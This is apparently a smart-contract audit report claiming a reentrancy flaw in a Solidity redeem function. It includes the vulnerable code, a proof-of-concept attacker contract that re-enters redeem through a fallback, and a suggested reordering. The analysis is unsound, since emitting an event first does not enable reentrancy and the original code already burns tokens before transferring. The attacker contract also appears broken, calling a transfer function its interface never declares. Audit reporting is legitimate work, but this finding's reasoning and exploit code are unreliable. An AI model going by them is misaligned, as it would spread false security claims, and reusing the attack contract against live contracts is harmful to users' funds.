Summary
The contract emits an event before transferring assets, which can potentially lead to reentrancy attacks. In the provided snippet, the emit Redeemed event should be called after all state changes, including token transfers, are finalized to prevent attackers from exploiting the reentrancy vulnerability.
Vulnerability Details
Vulnerable code:
function redeem(
IERC20 token,
uint256 amountOfAssetToken
)
external
revertIfZero(amountOfAssetToken)
revertIfNotAllowedToken(token)
{
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 exchangeRate = assetToken.getExchangeRate();
if (amountOfAssetToken == type(uint256).max) {
amountOfAssetToken = assetToken.balanceOf(msg.sender);
}
uint256 amountUnderlying = (amountOfAssetToken * exchangeRate) / assetToken.EXCHANGE_RATE_PRECISION();
emit Redeemed(msg.sender, token, amountOfAssetToken, amountUnderlying);
assetToken.burn(msg.sender, amountOfAssetToken);
assetToken.transferUnderlyingTo(msg.sender, amountUnderlying);
}
Impact
If an attacker exploits reentrancy vulnerability, they may be able to perform unexpected actions in between the event emission and the transfer of assets. This could lead to losses or inconsistencies in contract state, posing a risk to contract integrity and user funds.
POC
To exploit the reentrancy vulnerability in the original redeem function, an attacker would create a malicious contract that calls the redeem function and then re-enters the redeem function when the AssetToken contract transfers the underlying asset to the attacker's contract.
pragma solidity ^0.8.0;
interface IAssetToken {
function redeem(IERC20 token, uint256 amountOfAssetToken) external;
function transferUnderlyingTo(address recipient, uint256 amount) external;
function burn(address from, uint256 amount) external;
}
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
}
contract MaliciousContract {
IAssetToken public immutable assetToken;
IERC20 public immutable token;
bool public attackInProgress;
uint256 public reentryAmount;
constructor(address _assetTokenAddress, address _tokenAddress) {
assetToken = IAssetToken(_assetTokenAddress);
token = IERC20(_tokenAddress);
}
function startAttack(uint256 _amountOfAssetToken) external {
reentryAmount = _amountOfAssetToken;
attackInProgress = true;
assetToken.redeem(token, reentryAmount);
}
fallback() external {
if (attackInProgress && address(token).balanceOf(address(this)) > 0) {
assetToken.redeem(token, reentryAmount);
}
}
function receiveUnderlying(uint256 amount) external {
}
function withdrawToken(address _to, uint256 _amount) external {
token.transfer(_to, _amount);
}
}
Tools Used
Manual Review
Vs Code
Recommendations
-
Reorder Operations: Ensure the transferUnderlyingTo function call is executed before the emit Redeemed event. This follows the Checks-Effects-Interactions pattern, which mitigates the reentrancy risks by ensuring that all state changes are completed before any external calls or event emissions occur.
-
Use of Reentrancy Guard: Implement a reentrancy guard mechanism as an additional preventive measure. The nonReentrant modifier from OpenZeppelin's ReentrancyGuard can be used to protect against reentrancy by making sure that no nested calls can occur.
Possible fix:
By moving the emit statement to after the transferUnderlyingTo call and performing the burn operation beforehand, this function's flow now properly guards against reentrancy attacks by ensuring that all state modifications are completed before any external interactions take place.
function redeem(
IERC20 token,
uint256 amountOfAssetToken
)
external
revertIfZero(amountOfAssetToken)
revertIfNotAllowedToken(token)
{
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 exchangeRate = assetToken.getExchangeRate();
if (amountOfAssetToken == type(uint256).max) {
amountOfAssetToken = assetToken.balanceOf(msg.sender);
}
uint256 amountUnderlying = (amountOfAssetToken * exchangeRate) / assetToken.EXCHANGE_RATE_PRECISION();
assetToken.burn(msg.sender, amountOfAssetToken);
assetToken.transferUnderlyingTo(msg.sender, amountUnderlying);
emit Redeemed(msg.sender, token, amountOfAssetToken, amountUnderlying);
}
